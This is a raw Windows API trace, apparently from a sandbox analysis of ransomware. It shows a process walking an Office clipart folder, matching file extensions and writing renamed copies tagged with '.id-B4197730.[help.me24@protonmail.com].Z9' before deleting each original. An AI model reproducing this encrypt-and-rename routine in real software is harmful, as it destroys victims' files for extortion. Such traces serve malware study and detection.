	[0170.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0170.158] lstrlenW (lpString=".1cd") returned 4
	[0170.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0170.158] lstrlenW (lpString=".jpg") returned 4
	[0170.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.158] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0170.158] lstrlenW (lpString="J0105328.WMF") returned 12
	[0170.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0170.159] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=7992) returned 1
	[0170.159] CloseHandle (hObject=0x52c) returned 1
	[0170.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 0x220
	[0170.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0170.159] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.159] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0170.160] GetLastError () returned 0x0
	[0170.160] ReadFile (in: hFile=0x52c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x1f38, lpOverlapped=0x0) returned 1
	[0170.162] WriteFile (in: hFile=0x520, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x1f40, lpOverlapped=0x0) returned 1
	[0170.163] ReadFile (in: hFile=0x52c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.163] WriteFile (in: hFile=0x520, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.163] SetEndOfFile (hFile=0x520) returned 1
	[0170.163] CloseHandle (hObject=0x520) returned 1
	[0170.163] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.163] SetEndOfFile (hFile=0x52c) returned 1
	[0170.167] CloseHandle (hObject=0x52c) returned 1
	[0170.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0170.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 1
	[0170.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0170.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0170.168] lstrlenW (lpString=".doc") returned 4
	[0170.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.168] lstrlenW (lpString=".docx") returned 5
	[0170.168] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0170.168] lstrlenW (lpString=".pdf") returned 4
	[0170.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.168] lstrlenW (lpString=".xls") returned 4
	[0170.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.168] lstrlenW (lpString=".xlsx") returned 5
	[0170.168] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0170.168] lstrlenW (lpString=".ppt") returned 4
	[0170.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0170.168] lstrlenW (lpString=".zip") returned 4
	[0170.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.168] lstrlenW (lpString=".rar") returned 4
	[0170.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.168] lstrlenW (lpString=".bz2") returned 4
	[0170.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.168] lstrlenW (lpString=".7z") returned 3
	[0170.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0170.168] lstrlenW (lpString=".dbf") returned 4
	[0170.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0170.168] lstrlenW (lpString=".1cd") returned 4
	[0170.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0170.168] lstrlenW (lpString=".jpg") returned 4
	[0170.168] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0170.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0170.168] lstrlenW (lpString=".doc") returned 4
	[0170.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.169] lstrlenW (lpString=".docx") returned 5
	[0170.169] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0170.169] lstrlenW (lpString=".pdf") returned 4
	[0170.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.169] lstrlenW (lpString=".xls") returned 4
	[0170.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.169] lstrlenW (lpString=".xlsx") returned 5
	[0170.169] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0170.169] lstrlenW (lpString=".ppt") returned 4
	[0170.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0170.169] lstrlenW (lpString=".zip") returned 4
	[0170.169] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.169] lstrlenW (lpString=".rar") returned 4
	[0170.169] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.169] lstrlenW (lpString=".bz2") returned 4
	[0170.169] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.169] lstrlenW (lpString=".7z") returned 3
	[0170.169] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0170.169] lstrlenW (lpString=".dbf") returned 4
	[0170.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0170.169] lstrlenW (lpString=".1cd") returned 4
	[0170.169] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0170.169] lstrlenW (lpString=".jpg") returned 4
	[0170.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.169] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0170.169] lstrlenW (lpString="J0105332.WMF") returned 12
	[0170.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0170.223] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=10508) returned 1
	[0170.223] CloseHandle (hObject=0x538) returned 1
	[0170.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 0x220
	[0170.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0170.581] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.587] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0170.837] GetLastError () returned 0x0
	[0170.838] ReadFile (in: hFile=0x530, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x290c, lpOverlapped=0x0) returned 1
	[0170.869] WriteFile (in: hFile=0x538, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x2910, lpOverlapped=0x0) returned 1
	[0170.870] ReadFile (in: hFile=0x530, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.870] WriteFile (in: hFile=0x538, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.870] SetEndOfFile (hFile=0x538) returned 1
	[0170.870] CloseHandle (hObject=0x538) returned 1
	[0170.870] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.870] SetEndOfFile (hFile=0x530) returned 1
	[0170.873] CloseHandle (hObject=0x530) returned 1
	[0170.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0170.873] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 1
	[0170.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0170.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0170.874] lstrlenW (lpString=".doc") returned 4
	[0170.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.874] lstrlenW (lpString=".docx") returned 5
	[0170.874] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0170.874] lstrlenW (lpString=".pdf") returned 4
	[0170.874] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.874] lstrlenW (lpString=".xls") returned 4
	[0170.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.874] lstrlenW (lpString=".xlsx") returned 5
	[0170.874] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0170.874] lstrlenW (lpString=".ppt") returned 4
	[0170.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0170.874] lstrlenW (lpString=".zip") returned 4
	[0170.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.874] lstrlenW (lpString=".rar") returned 4
	[0170.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.874] lstrlenW (lpString=".bz2") returned 4
	[0170.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.875] lstrlenW (lpString=".7z") returned 3
	[0170.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0170.875] lstrlenW (lpString=".dbf") returned 4
	[0170.875] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0170.875] lstrlenW (lpString=".1cd") returned 4
	[0170.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0170.875] lstrlenW (lpString=".jpg") returned 4
	[0170.875] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0170.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0170.875] lstrlenW (lpString=".doc") returned 4
	[0170.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.875] lstrlenW (lpString=".docx") returned 5
	[0170.875] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0170.875] lstrlenW (lpString=".pdf") returned 4
	[0170.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.875] lstrlenW (lpString=".xls") returned 4
	[0170.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.875] lstrlenW (lpString=".xlsx") returned 5
	[0170.875] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0170.875] lstrlenW (lpString=".ppt") returned 4
	[0170.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0170.875] lstrlenW (lpString=".zip") returned 4
	[0170.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.875] lstrlenW (lpString=".rar") returned 4
	[0170.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.875] lstrlenW (lpString=".bz2") returned 4
	[0170.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.875] lstrlenW (lpString=".7z") returned 3
	[0170.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0170.876] lstrlenW (lpString=".dbf") returned 4
	[0170.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0170.876] lstrlenW (lpString=".1cd") returned 4
	[0170.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0170.876] lstrlenW (lpString=".jpg") returned 4
	[0170.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.876] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0170.876] lstrlenW (lpString="J0105368.WMF") returned 12
	[0170.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0170.876] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=12380) returned 1
	[0170.877] CloseHandle (hObject=0x530) returned 1
	[0170.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 0x220
	[0170.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0170.877] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.877] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0170.882] GetLastError () returned 0x0
	[0170.882] ReadFile (in: hFile=0x530, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x305c, lpOverlapped=0x0) returned 1
	[0170.903] WriteFile (in: hFile=0x538, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x3060, lpOverlapped=0x0) returned 1
	[0170.904] ReadFile (in: hFile=0x530, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.904] WriteFile (in: hFile=0x538, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.904] SetEndOfFile (hFile=0x538) returned 1
	[0170.904] CloseHandle (hObject=0x538) returned 1
	[0170.904] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.904] SetEndOfFile (hFile=0x530) returned 1
	[0170.922] CloseHandle (hObject=0x530) returned 1
	[0170.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0170.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 1
	[0170.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0170.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0170.924] lstrlenW (lpString=".doc") returned 4
	[0170.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.924] lstrlenW (lpString=".docx") returned 5
	[0170.924] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0170.924] lstrlenW (lpString=".pdf") returned 4
	[0170.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.924] lstrlenW (lpString=".xls") returned 4
	[0170.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.924] lstrlenW (lpString=".xlsx") returned 5
	[0170.924] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0170.924] lstrlenW (lpString=".ppt") returned 4
	[0170.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0170.924] lstrlenW (lpString=".zip") returned 4
	[0170.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.924] lstrlenW (lpString=".rar") returned 4
	[0170.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.924] lstrlenW (lpString=".bz2") returned 4
	[0170.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.924] lstrlenW (lpString=".7z") returned 3
	[0170.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0170.924] lstrlenW (lpString=".dbf") returned 4
	[0170.925] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0170.925] lstrlenW (lpString=".1cd") returned 4
	[0170.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0170.925] lstrlenW (lpString=".jpg") returned 4
	[0170.925] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0170.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0170.925] lstrlenW (lpString=".doc") returned 4
	[0170.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.925] lstrlenW (lpString=".docx") returned 5
	[0170.925] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0170.925] lstrlenW (lpString=".pdf") returned 4
	[0170.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.925] lstrlenW (lpString=".xls") returned 4
	[0170.925] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.925] lstrlenW (lpString=".xlsx") returned 5
	[0170.925] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0170.925] lstrlenW (lpString=".ppt") returned 4
	[0170.925] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0170.925] lstrlenW (lpString=".zip") returned 4
	[0170.925] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.926] lstrlenW (lpString=".rar") returned 4
	[0170.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.926] lstrlenW (lpString=".bz2") returned 4
	[0170.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.926] lstrlenW (lpString=".7z") returned 3
	[0170.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0170.926] lstrlenW (lpString=".dbf") returned 4
	[0170.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
